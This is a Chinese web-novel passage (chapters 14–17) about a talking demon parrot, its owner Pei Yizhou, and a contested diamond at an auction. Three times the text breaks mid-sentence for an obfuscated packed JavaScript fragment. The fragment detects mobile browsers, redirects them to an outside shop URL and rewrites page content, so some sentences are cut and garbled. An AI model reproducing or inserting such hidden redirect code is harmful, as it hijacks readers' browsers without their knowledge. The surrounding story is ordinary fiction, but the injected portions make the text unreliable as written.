“你一只鸟吃这么多干什么?吃你的鸟粮去!” 江与停昂首挺胸,叫得理直气壮。 “啾啾。” 【就不吃!我就要吃这个!你管得着吗!】 一人一鸟,又开始隔空吵架,裴一舟冷眼旁观,懒得掺和。 赵铭也没敢多待,他清楚裴一舟的脾气,不喜欢别人在家里久留,再待下去恐怕真要被扔出去。 “行了行了,我走了。” 他拍了拍衣服上的褶皱,看着那只鸟,无奈道:“你这鸟吧,丑是丑了点,闹腾是闹腾了点,不过……总算让这里有点人气了。” “我走了,不用送。” 赵铭转身走向门口,路过玄关桌的时候,一眼瞥见那张被裴一舟随手扔在一旁的邀请函。 封面精致,烫金花纹。 他眼疾手快捡起来一把扔回到了客厅桌上,还不忘对着裴一舟喊一声。 “少爷,这邀请函我好不容易搞到的,你好歹赏脸看一眼啊!” 说完,他推门离开飞快溜之大吉。 门外。 赵铭看着自己身上破破烂烂的衣服,无奈地摇了摇头。 那只鸟也太凶了,还是他家那只温顺的小灰灰可爱。 屋内恢复安静。 裴一舟收拾着桌上的残局,他把散乱的东西归位,又将弄脏的地方简单处理干净。 结果一转身却看见江与停已经从他肩头飞了下去,他正蹲在餐桌上对着刚才赵铭放下的那本东西好奇地打量。 那是一本四四方方封面印着亮闪闪图案的小画册。 江与停从来没见过这种东西,他歪着脑袋,好奇地用鸟喙轻轻翻开一页。 只一眼,他整只鸟都呆住了。 页面正中央,一颗漂亮的石头在光线下折射出无数璀璨光芒,那块石头牢牢锁住了他所有注意力。 金灿灿,亮晶晶,耀眼得让人挪不开眼睛。 长这么大,不管是做人还是做鸟,江与停都从来没有见过这么漂亮这么闪的东西。 “啾啾。” 【好漂亮啊……想要……】 江与停完全沉浸在那颗钻石的光芒里,撅着屁股,整个身子趴在桌面上,脑袋埋得低低的,眼睛一眨不眨,连裴一舟走到身边都没有察觉。 裴一舟看着他这副魂不守舍的样子,有些好笑,又有些无奈。 他走过去,微微弯腰顺着他的视线看了过去。 “怎么了?” 江与停猛地回过神立刻抬起头。 那双黑亮的小眼睛里,毫不掩饰赤裸裸地写满了喜欢。 裴一舟的目光看向宣传册,一眼就看到那颗被重点展示的钻石。 他唇角几不可查地弯了一下。 “喜欢这个?。” 江与停哪里还忍得住。 翅膀一振,小小的身体轻盈飞起,精准落回顾裴一舟的颈窝,脑袋疯狂地蹭着他的下巴脖颈,软乎乎的羽毛蹭得人皮肤微微发痒。 他不知道什么是钻石,他只知道他很想要。 “啾啾啾。” 【人,你可以买给我吗?】 14. 鸟会说话了 他蹭得认真,叫得乖巧,整只鸟都写满看我多可爱呀,人,你忍心拒绝我吗。 “啾啾。” 【快答应我快答应我。】 裴一舟抬手稳稳托住他小小的身子,生怕他一个激动直接从肩头上摔下去,毕竟他也不是干不出这样的事情。 他的指尖轻轻摩挲着他柔软的羽毛,也不知道是不是他的错觉,好像他的毛比以前柔软了许多,那些分叉的羽毛也看起来慢慢的开始趋于正常,整只鸟虽然不至于说好看,但是好像也没那么丑了。 只是这体重吗,应该也重了不少。 如果赵铭此刻听到这句话一定会抱着自己的猫哀嚎一声。 “少爷,你眼瞎了吗,这还不丑,要不要睁开眼看看我的猫啊,这才是可爱的啊,好看的啊,果然人都会有滤镜,不过这滤镜也太厚了一些。” 他垂眸看着宣传册上那颗价值不菲的钻石,这是这次拍卖的王牌,没想到他会喜欢这种东西。 他又看了看怀里这只满眼亮晶晶,满心都是欲望的小鸟。 裴一舟低声询问着。 “喜欢?” 江与停立刻点头如捣蒜一般,生怕裴一舟看不懂。 “啾啾。” 【喜欢,我喜欢亮晶晶的东西。】 江与停只以为那就是个普通的石头,毕竟他哪里知道那是什么昂贵的钻石。 他更不懂人类怎么会把一个破石头卖的那么贵,那玩意儿又不能吃又不能喝的,就是一个装饰品而已,就跟海边那漂亮的贝壳没有任何区别。 裴一舟摸了摸他的小脑袋:“喜欢,那就买。” 江与停瞬间开心的在裴一舟肩头跳起了舞。 “啾啾。” 【人你简直太好了。】 江与停最近是发现了,当宠物是太好了,不用担心吃不用担心喝,想要啥撒撒娇就会有了,这日子简直太好了。 谁还会想念他以前的妖生啊,那简直是卷生卷死的一生。 折腾完这一圈儿那只小仓鼠好像也彻底醒了过来,他瑟缩的躲在墙角,眨着小小的眼睛极力躲避着他们的视线。 当然一切都是徒劳的,这个房间里无论是人还是鸟都已经发现了它。 看到那一人一鸟走过来它小小的身体抖的更厉害了,吓的用自己的前爪捂住了自己的眼睛。 那小模样颇有一些自欺欺人的感觉,主打的就是看不见就不怕了。 但是小小的身体还是忍不住的瑟瑟发抖。 “吱吱。” 【救命啊,求求你们不要吃我啊,我一点都不好吃啊。】 裴一舟听不懂,但是江与停是听懂了,他给了对方一个眼神。 “啾啾。” 【吃你,你有饭菜香吗?你有饮料还喝吗?吃你都不够费劲的,还不如我多扒拉一口好吃的来的快。】 听他这么说小仓鼠的眼神才缓和了一些,他放下自己的小爪子瑟瑟的看着眼前的一人一鸟。 “吱吱。” 【你能不能放过我啊。】 江与停:“不行,你是我精心挑选的礼物,礼物怎么可以跑呢。” 小仓鼠绝望的躺在盒子的最边缘,也不知道他爸爸会不会找到他,他再也不偷摸出来了。 裴一舟不知道他喜欢吃什么就拿着江与停的鸟粮喂了一些给他。 江与停顿时眼睛都瞪大了,他一看就不乐意了,虽然他不喜欢吃鸟粮,但是那也是他的东西,他不喜欢跟别人分享。 于是不管不顾直接上去自己吃了,不行,这是他的,不可以跟任何人吃。 裴一舟:“你选一个,这个还是你的那些吃的。” 江与停权衡利弊之间放弃了自己的鸟粮,他瞪着眼睛看着眼前的小仓鼠,很不得把他扔到外面去。 失策了,他不该给裴一舟一个活物的,万一他喜欢上那个小东西了怎么办,这个家里只要有他一个活物就可以了。 他看着那只小仓鼠心里悄悄的密谋起了什么,他得想个办法把这玩意儿整出去。 晚上裴一舟去洗澡了江与停就在床上等着他,可惜他今天太困了,还没有等到裴一舟出来就直直的载了下去。 等裴一舟洗完澡进来的之后就发现那只小鸟正窝在床上,小脑袋磕在被子上,裴一舟生怕他一不下心把脖子拧断了。 他把他小心的放了下来,然后在他身侧躺了下来,只不过他躺了许久都没有任何的睡意,他实在是睡不着于是就起身去了外面。 外面月亮高悬,但是这一夜外面注定不会平静。 第二天,江与停醒来的时候才发现裴一舟已经出门去了。 外面的桌子上还留着一张纸条,纸条上画着漂漂亮亮的小鸟还有一盆米饭,这是裴一舟留给他的饭。 江与停美美的吃完了饭然后就精力十足的在房间四处飞着,飞累了又继续打开冰箱吃。 来来回回这么好几圈下来裴一舟还是没有回来。 他有些无聊的趴在桌子上,甚至还点开了电视机,可是裴一舟不在家他看了一会儿电视就没心情看了。 他又去跟小仓鼠玩了一会儿,但是显然对方不太情愿跟他玩,每次都一副快被吓死的模样。 他实在无聊就开着电视窝在太阳底下睡了一觉,这一觉从白天睡到了天黑,可是一直到晚上人都没有回来。 他无聊的在屋内醒了睡,睡了醒直到门外响起了敲门的声音。 江与停一个箭步冲了过去,结果他打开门外面空荡荡的什么都没有。 奇怪?没人门怎么会响。 他有些失望的关上了门,结果刚关上房门,门外又有敲门的声音。 他这次是真的生气了,一把拉开了房门准备发飙,结果一道微弱的声音从他的脚下传了过来。 “你好,可以看看下面吗?我在下面。” 江与停低头一看,这才发现门口站着一个白白的老鼠,跟屋里的小仓鼠一个样子,但是明显比他大一圈,也比他圆润了不少,更为诡异的是大仓鼠的脑袋上还戴着一顶帽子。 江与停疑惑的看着他,难不成是自动上门的礼物。 “你是谁。” 大仓鼠拿起自己头上的帽子鞠了一躬。 “你好,我来赎我的儿子。” 江与停反应了一会儿才反应过来。 “儿子?你是说那个小仓鼠。” 大仓鼠从身后拉住一个用绳子绑着的小仓鼠出来,这个小仓鼠看起来比屋里的那个还漂亮许多。 “是的,我用他来交换我的儿子。” 江与停看着那个小仓鼠,更气了。 “不要。” 大仓鼠显然没有想到就这么被拒绝了,于是只好改变策略了。 “那我这里有半块妖灵碎片,您看可不可以。” 江与停刚想关门,结果他就看到了那块妖灵碎片。 那应该是妖灵的十分之一碎了,他几乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288244|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只能全力地说去感知才能感知到上面散发着的灵气。 他们妖修的妖力来源就是妖灵,一旦妖灵破碎那就说明妖真的死了,妖灵没有破碎那就可以重新修炼回来。 妖精一般的妖灵是很难被打碎的,除非是遇到了妖管局的人。 而妖灵更是很多妖都奢求的东西。 他看了看那块妖灵碎片,他本来就不喜欢那只小仓鼠,这下正好有理由给他,而且他还可以得到一块妖灵碎片,那简直太完美不过了。 “那好吧,我这就给你。” 没过多久小仓鼠就瑟瑟发抖的被带了出来,他刚一出来就抱着他父亲哇哇大哭了起来。 大仓鼠:“打扰了。” 看着他俩一起离开的背影他突然觉得有些不地道。于是叫住了他们。 他从屋里拿了一些吃的送给了他们,结果那个大仓鼠突然变成了一个男人。 那模样瘦高瘦高的看起来颇有些俊俏。 “谢谢。” 江与停万万没有想到这大仓鼠还能变成人,而且最奇怪的是身上还带着一个包袱。 “你们要去哪里。” 大仓鼠把东西收好了才道:“这里最近不太平了,我们要搬家了。” 江与停纳闷了,这里天高皇帝远有什么不安全的。 “搬家,为什么?” 大仓鼠:“昨天发生了一件大事,小镇里许多大妖一夜之间都被杀死了,以前我们只要隐藏身份就可以在这里活下去,但是现在不一样了,这里好像有妖管局的人,所以这里也不适合生活了。” 江与停头顶的呆毛又跟着竖了起来。 “就这破地方还能有妖管局的人。” 大仓鼠:“我们在这里生活了许久了虽然有些不舍但是也要走了,再见。” 说完又变成了一个大仓鼠的模样,他牵着自己的孩子从一个下水道里慢慢的离开。 江与停看着那个放在手心的碎片,这么点碎片也不知道溶于身体里会有什么变化。 不过最让他意外的是这里会有妖管局的人啊,就他这个模样被发现了一定是死路一条。 他看了半天最后还是决定把这个东西用掉。 不管了,有点总比没有这点强。 他张开自己的爪子慢慢的把碎片融入了自己的身体里。 几分钟后,江与停尝试着用了自己的一点妖力。 一秒之后,无事发生。 一分钟之后,依旧无事发生。 江与停不信邪又重新使用了妖力,但是他左看右看依旧没有丝毫的变化。 江与停放弃了,什么玩意儿怎么不管用呢,他以为最起码会有一丝作用的。 不过令他开心的是屋里只有他一个宠物了,这下裴一舟只能宠他一个了。 不过礼物没有了,他还是要重新选一个的,他是个非常有原则的人。 他晚上又吃了一顿饭然后又趴在桌子上睡了过去。 也不知道过了多久,门外突然响起了钥匙的声音。 江与停朦胧间睁开了自己的眼睛,灯光亮起的一瞬间就向着裴一舟飞了过去。 那飞行颇有一些跌跌撞撞奔向你的感觉。 “裴一舟你回来了。” 裴一舟本来还在弯腰拖鞋,听到这句话直接愣在了原地。 他看着那个站在自己肩头睡眼惺忪的小鸟,他都怀疑自己刚才是不是听错了。 “你会说话了?” 15. 鸟晕车了 江与停这才意识到什么,他小小的脑袋支棱了起来,眼睛也跟着睁着大大的。 他迟疑了那么一瞬间,然后才小心的张了张嘴,生怕刚才的那些都是错觉。 “我说的话?” 这道声音一出来仿佛穿过黑暗的一束光,江与停整个人瞬间激灵了一下。 直到感受到那道清晰的声音是透过他的嘴巴里发出的,江与停这才敢肯定过来。 听到这道声音江与停的小耳朵也跟着抖了抖,虽然说话的语调听起来有些奇怪,不像是人发出的声音,但是确确实实是人话。 意识到这个时候江与停自己都惊呆了,真正能说人话了他还有那么一丝不习惯。 “啊啊啊啊,我…我会说话了。” 裴一舟看着他这模样也感觉很奇怪,不过他知道鹦鹉是可以说话的,但是是会这样吗,像个人一样说话。 江与停这下可高兴坏了,最近可他憋的不轻,整只鸟都快乐的蹦跶了起来。 原来那个妖灵碎片的作用是在这里。 现在他显然已经把什么妖管局,什么不适合生活都抛在脑后了。 裴一舟把外套挂在旁边的衣架上,看着这个在原地疯狂的小鸟,说实话实在是有些匪夷所思。 “你怎么突然会说话了。” 江与停为了以防自己被当成妖被抓走他当然不会说什么妖灵碎片了,他现在就是一个宠物。 “我也不知道啊,说不定是身体长开了所以就会说话了,你不开心吗?” 裴一舟:“开心。” 听到他这个准确的回答江与停才放心了下来,他一会儿飞起又一会儿落下,那声音显然是打算让整个小区的人都听见。 “我会说话了,嘿嘿,我会说话了,嘿嘿。” 裴一舟忽略掉他这神经质一样的动作,他换上拖鞋走到了冰箱旁。 他本来是今天不回来的,但是想着自己家里还有一个要吃饭的所以就回来了一趟,他买好了机票一会儿还要出门。 他打开冰箱准备给小鸟准备点吃的,结果一打开冰箱门才发现冰箱里空了一半。 他皱了皱眉刚想说话,结果就看到江与停正站在玄关的柜子上练着自己的美声。 “啊啊啊,啊啊啊。” “啊啊啊。” “啊啊啊。” 他一边练着嗓子头顶上的呆毛顺着他的动作一翘一翘的。 算了,不管他是什么,在没有发生其他的任何事情之前他就是一只快乐的鹦鹉。 也或许是他真的病的不轻了,幻觉又出来了。 他叹了口气从里面拿出了一盘虾,裴一舟猜测他没有吃这个虾的原因可能是因为还得剥皮吧。 只不过显然什么会饿到他的事情他都担心的多余了,他自己也会把自己养的很好。 听着那鸟声一声比一声的高,裴一舟以防自己本来听力就不好的耳朵再给彻底被废了,所以直接就摘掉了助听器好让自己的耳朵歇一歇。 他去厨房把那盘虾热好,然后等凉的差不多了又一点一点的剥好放在了盘子里。 江与停闻到味道就飞了过来,瞪着眼睛看着他剥虾。 “这是给我吃的吗?” 裴一舟没有回答他的问题,他确实是听不见,不过他看见了,他又不瞎,旁边那只鸟的脖子就差伸到盘子里来了。 “晚上少吃些,你今天吃的太多了。” 江与停头顶的呆毛落了下去。 “那好吧。” 江与停还有些委屈,只不过他也从不委屈自己的嘴,裴一舟一边剥虾,江与停就盯着盘子里的看,一口一个,等人剥完了他这边也吃完了。 喂完了江与停裴一舟又给他添上了水这才准备出门。 江与停一看他拿钥匙穿衣服就是要出门了,可是他自己在家真的好无聊,于是就跑过去咬出了他的裤腿。 裴一舟一低头就看到了小鸟蹲在他的身后,那双小眼睛眨巴眨巴的看起来很是委屈。 “你要出门吗?我也想去,你都留我在家呆一天了。” 裴一舟本来是不打算带他去的,但是后面又想起来鹦鹉是个高需求的宠物,所以长时间放他在家确实不好,容易抑郁。 而且这趟出去也不是什么要紧的事,带着也就带着了。 他低头摸了摸他的脑袋。 “走吧。” 江与停顿时就开心了起来,他用自己的小脑袋顶了顶他的手心。 “好哇好哇,走吧。” 出门之后两个人就上了车,江与停原先还是挺兴奋地,但是殊不知他之后要在这个车里呆多久。 刚开始的时候江与停就老实的站在后座,直到他一不小心发现了一个可以降玻璃的按钮。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288245|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 从此之后就一发不可收拾了,直接在那里玩的不亦乐乎。 如果旁边有车经过江与停就歪着脑袋看他,然后脆生生的开口。 “人,你好。” 每次他一开口旁边的车或多或少都会漂移一下,可能是没有见到过这么说话的鹦鹉吧。 如果车走了还好,如果没有走里面的人回答他那可就更搞笑了。 “你好,你好。” “你也好。” 裴一舟看着他,实在是担心他一不小心掉下去被车轮压死了,所以就锁上了窗户。 “老实些。” 江与停只好隔着玻璃数外面的车。 “小黄车,小红车…..。” 一个小时后江与停终于不兴奋了。 二个小时后江与停的眼神都没有光了。 n个小时后他彻底的摊坐在了凳子上。 也不知道过了多久车从黑夜又开到白天车才终于停了下来。 车刚停下来就有人迎接了过来,江与停早就困的在裴一舟的怀里睡着了。 赵铭看着裴一舟怀里的鹦鹉惊了一下。 “我说你怎么没坐飞机改坐车了,合着是因为带着他啊。” 裴一舟用衣服裹了裹他小小的身体:“来不及给他登记了只好坐车了。” 赵铭看着裴一舟怀里的那只鹦鹉,活像一只魅惑主心的小狐狸精,不过别的狐狸精都是漂亮的,他是丑的。 只是也不知道是不是他的错觉,这只鸟好像比他上次见漂亮了不少啊。 “好了,走吧,里面的包厢有休息间,先休息一会儿吧,拍卖会要晚上8点了。” 江与停也不知道自己睡了多久,他只知道自己醒来的时候外面的天又黑了。 他翻了一个身嘟囔了一声。 “好饿。” 裴一舟没有抬头就已经知道他醒来了。 “桌子上有吃的。” 江与停扇了扇翅膀醒了过来,还是吃的能让他提神。 他在屋子里飞了一圈儿然后准确无误的找到了放美食的桌子。 桌子上放着一些糕点,江与停吃了一口,味道还不错,只不过跟家里的比还是差点意思。 他吃着东西,然后眼睛瞬间便被电视上的一个东西吸引了。 上面显示的是他前不久看上过的那个钻石。 16. 鸟也会叫老公 只是那个石头就那么一瞬间就没有了,然后画面上突然就变成了其他的东西,他还以为他颗漂亮的石头没有了呢,所以被气的饭也不吃了直接飞到了电视前面,然后两爪并用的对着电视猛踹。 “啊,亮晶晶的石头,我的石头。” “吐出来。” “打死你,打死你。” 裴一舟看着他这突然神经质的动作赶紧出声阻止他,因为他看着那摇摇欲坠的电视已经快被他爪坏了。 “你在干什么。” 江与停听到他的声音就停止了动作,他煽动着翅膀飞了过来,然后用自己的小脑袋轻轻的蹭了蹭他的脖子。 “裴一舟,我的石头,被他吃了。” 裴一舟听到他的解释轻笑了一下,他实在不知道这鸟的脑回路是怎么回事,不是说鸟的智商是小孩儿4-5岁的智商吗,难不成所有的鸟都这样,还是说只有这一个品种的这样。 “没被吃,你看看现在是不是出来了。” 江与停抬头一看,果然屏幕上又出现了那颗大钻石,闪闪亮亮的,漂亮极了。 他惊讶的飞到电视旁瞅着,结果没一会儿又不见了。 江与停耷拉着脑袋,左看看右看看看了半天都没出来。 “漂亮石头,没有了。” 裴一舟低头看着手里的册子,闻言抬头又看了他一眼,看着那忙碌的小身子摇了摇头。 “你快回来吧,这里也有。” 江与停不太明白,他又飞了回来站在裴一舟的肩膀上跟他一起看着那个金光闪闪的小册子。 “漂亮石头。” 裴一舟给他解释着。 “这不叫漂亮石头,这叫钻石。” 江与停歪头看着他,小小的脑袋里满是疑惑。 “他是红色的,应该叫红石。” “应该也可以这么叫。” 裴一舟又翻开了一页小册子,第一页展示的就是今天压轴的钻石,第二页是一个异常精美的瓷器,他一页一页翻过去,小鸟就站在他的肩膀上瞅着,他也不知道他一只鸟能看出什么来。 直到他翻到第四页,小鸟突然叫了一声。 “错了。” 裴一舟手顿了一下,然后扭头好奇的看向他,他不明白一只鸟怎么还能知道对错了。 “哦?什么错了。” 江与停用爪子比划着:“一,一一,一一一,一一一一。” 赵铭一进来就发现他跟卡壳一样在那一一一的。 他一屁股坐在裴一舟身旁,手里还拿着一个冰镇可乐,顾自喝的很爽。 “他怎么还卡壳了。” 裴一舟原先还没明白他是什么意思,不过他看了一眼鼠标,然后突然意识到了什么。 他的意思是一二三,如果这个顺序的话四应该是四个横才对。 而此时他的脑海里又响起来了一个声音来。 “裴一舟,不对啊,你是不是教错了,这是一,这是二,这是三,这个如果是四的话,那这个四个一是什么,你写错了,明明应该是四个横啊,要这样写,一一一一。” 想着想着他的脑子就突然向炸开了一般疼痛来起来。 赵铭看着他这表情吓了一跳。 “你怎么了,别吓我啊。” 江与停也吓了一跳。 “裴一舟,你怎么了。” 裴一舟摆了摆手然后抬头仰在沙发上,他的眉头紧紧的锁在一起,看起来非常的痛苦。 “没事儿,我自己待一会儿就好了。” 江与停也吓坏了他乖乖的窝在他的脖子边,试图用自己身体的温度让他更舒服一些。 好半天裴一舟才睁开眼睛,他刚一睁开眼睛就对上了他那双豆豆眼。 “你没事吧。” 裴一舟摸了摸他的小脑袋。 “没事。” 赵铭赶紧给他倒了一杯温水过来。 “你这真吓人啊。” 结果他走到一半才突然意识到了什么东西,然后那杯水华丽丽的就摔到了地上。 “我刚才没听错吧,他会说话?” 8点半钟声。 他们包间的门也被缓缓打开,一个穿着制服的小姐姐走了进来。 “先生,我们的怕开会现在正式开始,途中有任何问题您都可以招呼我,祝您拍到自己心仪的拍品。” 裴一舟点了点头。 “好,谢谢。” 赵铭一边跟裴一舟说着话一边看着那只鹦鹉。 “我已经跟代拍交代好了,绝对没问题,如果你还有其他喜欢的我再去找他。” 裴一舟:“嗯。” 他们面前的大屏幕上显示着楼下拍卖会的现场,他们可以透过这个屏幕看到拍品的任何一个细节。 只不过他们都志不在这些,所以也就随便看了看,直到最后一个拍品的出现,现场也彻底迎来了高峰。 那个漂亮的主持人站在台上,前面的桌子上摆放着一个精美的钻石。 而那枚钻石在灯光的照耀下看起来更加的璀璨耀人。 江与停的眼睛里仿佛都映照着钻石的光芒。 主持人介绍完了这颗钻石,这才开始正式的拍卖。 “起拍价500万,我们现在开始。” 很快现场便有人起价了。 “550万。” 主持人:“好,这位小姐550万。” 底下很快便有了另外一道声音。 “六百万。” “一千万。” “一千五百万。” 几轮叫价下来钻石已经被加到了三千万。 一般人买钻石也是为了收藏,总不会天天带着几千万出门,所以这个价格对于钻石来说已经远远的超于了他的价值,很多人便已经放弃了。 赵铭接着电话询问裴一舟。 “三千万了,我们还要不要加。” 裴一舟:“加,三千五百万。” 赵铭哎了一声,他也不知道大少爷怎么转性了突然喜欢上钻石了,不过这明明都已经没有任何的收藏价值了。 但是转念一想没事,人家有钱。 主持人:“三千万,三千万还有没有要加的了。” 几秒后底下有人开始叫价。 “三千五百万。” 主持人:“好,这边已经三千五百万了,还有没有要加的了,最后一次,三千五百万,恭喜这位先生,钻石是您的了。” 另外一个包间内,一个长相异常漂亮的小姑娘正在哭诉着。 “不行,我就要这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288246|198471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛,我不管,我就喜欢那个。” 旁边的男人也被她折磨的不行了。 “好,我给你想想办法,刚刚那个情况对方显然是冲着它去的,我是个生意人,再这么加下去两败俱伤。” 姑娘哭的梨花带雨的。 “我不管我就要,你不给我买就是不爱我。” 男人招呼了一下旁边的助理:“你去打听一下那屋里的是谁。” 助理:“好的,李总。” 男人安慰着怀里的女人。 “好了好了,不哭了,看着小脸,放心吧,谁也得给我面子。” 很快助理就回来了。 “李总,只知道对方姓裴,年纪看起来挺小的,其他的打探不出来。” 男人:“姓裴,这个姓氏倒是挺少见,你有听过姓裴的商人吗。” 助理脑子里一瞬间就想到了一个。 “裴氏集团。” 实在是裴氏集团太有名了一些。 男人抽了根烟想了想。 “裴氏,不太可能,我记得他家的那位少爷应该是五年前才找回来的,不可能来这里,不过万一真是呢。” 女人一听这话音就有些不开心了,她抽抽嗒嗒的哭的更凶了。 “我不管,我就要,我就要。” 男人被她烦的实在是没有办法了:“好,好,别哭了,我现在就去。” 裴一舟本来听到工作人员说有人要过来跟他谈谈,他都已经拒绝了,没想到对方直接强硬的就闯了进来。 看着出现在他包厢的不速之客脸上隐隐有些不爽。 与他的态度明显不同,男人没有想到对方是个这么好看的少年。 他以前对于一些男人喜欢男人的事情不太理解,不过如果是他的话那倒是也理解那些人了。 裴一舟阴沉着脸,谁知道那男人丝毫没有眼力劲,上来就想要攀他的肩膀。 裴一舟抬手冷冷的挡了一下他的胳膊。 “有事儿?” 男人也不话多直接开门见山。 “小老弟啊,长得挺帅啊,我也没有什么事情,只是你那个钻石可不可以让给我,实在是我爱人喜欢的紧,当然我是绝对不会让你吃亏的。” 江与停本来在一旁舔毛,听到这句话毛直接炸开了。 他盯着裴一舟眼睛里都是震惊,这么快就有人上门来抢的了。 还好裴一舟拒绝了。 “不行。” 男人被拂了面子本来是有些生气的,但是想着对方年纪还小所以就压了下来。 “别这么快拒绝啊,万事好商量,开个价。” 裴一舟依旧斩钉截铁。 “不用,我不缺钱。” 话说到这份上了正常人应该都会走了,但是那姑娘今天就是非要那颗钻石不行。 于是直接扭着腰在男人怀里撒起了娇。 “老公。” 那甜甜腻腻的声音仿佛能勾魂一样。 江与停瞅着那女人的模样,生怕裴一舟把自己的大石头让出去了,于是也立刻摇了摇自己的尾巴贴在了裴一舟的脖子边。 撒娇谁不会啊。 他的小脑袋轻轻的蹭着裴一舟的脖子,然后学着那姑娘的口气缓缓的开了口。 “老公。” 17. 鸟有钻石了 那一瞬间屋里的空气都跟着凝固了。 江与停以为他没有听见,又飞到裴一舟的另外一边重复了好几遍,跟个复读机一样,生怕他没听见,而且还变换着语气的叫。 “老公…老公…老公….。” 裴一舟脸上的表情难得的有些没绷住,他是没有想到还会有被鸟叫老公的一天。 他抬起手直接手动把这复读机关了。 “别这么叫。” 屋内依旧静的练掉一根针都听的清清楚楚。 几秒钟后,赵铭一口水喷出去差点儿笑岔气了。 “哈哈哈,你这鸟好搞笑,我回去也想养一只鸟。” 对面的女人也明显被震惊到了,但是几秒钟之后又突然反应了过来,她猛地大叫了一声,脸都被气绿了,显然是快被气死了。 她指着鹦鹉哭诉道:“老公你看他学我。” 江与停的嘴巴被封印着,只有两只小小的眼睛在溜溜的转着。 怎么回事,难道自己说的不对吗?明明电视剧上男人被叫老公都会很开心啊,刚才那个姑娘叫老公的时候她身旁的那个男人也很开心的啊。 到底是哪里不对。 那男人也不想在自己女人面前掉面子,他一把揽住一直哭哭啼啼的女人耐心的哄着。 “哎哎,好了,小宝贝儿,别闹了。” 江与停一看不行了,他挣脱掉裴一舟的手,然后把头放在裴一舟的脖子旁学着那姑娘的样子也抽抽嗒嗒的哭了起来。 那声音大的直接把姑娘的声音都压了下去。 这场景任谁看了都不能无动于衷。 那姑娘更是被惊的都忘了咋哭了。 她脸颊上挂着眼泪怔怔的看着那只鹦鹉。 “这鹦鹉怎么回事,他是不是在学我哭。” 裴一舟带着助听器,但是听声音也没有那么清晰,不过还是被这声音震的耳朵都快疼了,只好手动又给他闭掉。 “好了,安静些。” 那声音停了之后整个世界瞬间就跟着清净了。 江与停站在那里可怜兮兮的看着裴一舟,那双豆豆大的眼睛好像能说话一般。 裴一舟,你可千万别把我的漂亮石头给别人。 男人转着手心里的手串,好奇的看着裴一舟肩头的鹦鹉。 “哟,可以啊,要不你把这只鹦鹉也卖给我怎么样。” 江与停一停瞬间就要炸,他趁机摆脱了裴一舟的手,张嘴就是一个暴力输出。 “滚。” 男人显然没有想到被一只鸟骂了脸上当场就挂不住了,他当即手上的手串一收,强硬了起来。 “今天你给我也得给我,不给也得给,好好商量不行的话我就只能来硬的了,否则你可出不了这个门。” 他话音刚落,几个身形高大的保镖便站在了门口把门堵的严严实实的。 赵铭看着那几个保镖在身后跟着突然就笑了,然后给他竖起一个大拇指。 他还从未见过敢威胁裴一舟的人,也就是他在休假,否则不论是裴家大少爷还是妖管局执行官,哪个身份都是他一辈子都见不到的人。 裴一舟脸色一尘,眼尾一挑,那双眼睛看起来更加的深邃。 他看了一眼对方,声音也跟着沉了下来。 “哦,是吗,那这样吧,我留下,他们出去怎么样,有事情我们谈。” 男人本来也不是针对的他们,所以他们的去留自然没有关系,而且留一个人在更好处理一些。 他上下打量着这少年,眼里带着一些别样的意味。 “你确定就你这个小身板留下来吗?” 裴一舟没有回答他,他招了招手赵铭就走了上来。 “赵铭,先带小团出去。” 赵铭哎了一声,抱着鹦鹉就准备离开,他丝毫不会怀疑裴一舟会吃亏。 江与停本来不想离开他的,裴一舟摸了一下他的脑袋让他先去看钻石,自己不会有事的。 有了他的保证江与停才放心的离开。 漂亮石头,他的漂亮石头。 男人看着裴一舟也不怕他,毕竟是个20岁左右的少年,还只有一个人,他能如何。 “怎么,打算把钻石给我了吗?” 裴一舟:“我刚才说过了不给。” 男人一听这就起生气走向裴一舟然后暴力的一手拽起了他的领子。 “怎么?想干嘛,打架啊,我奉陪。” 裴一舟轻呵了一声,只是那声音里全都是嘲讽。 他一把甩开了那人的手轻轻扫了扫他刚才碰过的地方,眼神里似有化的墨。 他缓缓的张开嘴。 “你配吗?” 男人被气到了,在这个城市里还没有人能这么跟他说话。 他撸了撸自己的袖子走向裴一舟。 “我现在就让你看看配不配。” 他话音刚落,突然一道接着一道的爆炸声响起,屋里的灯,电视,玻璃还有门窗瞬间噼里啪啦就炸了。 就连他手里盘着的那个手串也哗啦啦地落了一地。 一时间屋子里全是尖叫的声音。 黑暗中裴一舟慢慢的向着他走过去,那男人被吓得一步步的往后退。 “你想干嘛。” 裴一舟轻笑了一声,然后抬手按开了墙上的开关,屋里仅存的一个灯环突然就亮了起来。 裴一舟靠在门边看着那些抱头蹲在地上的人笑了。 “不想干嘛,开个灯而已。” 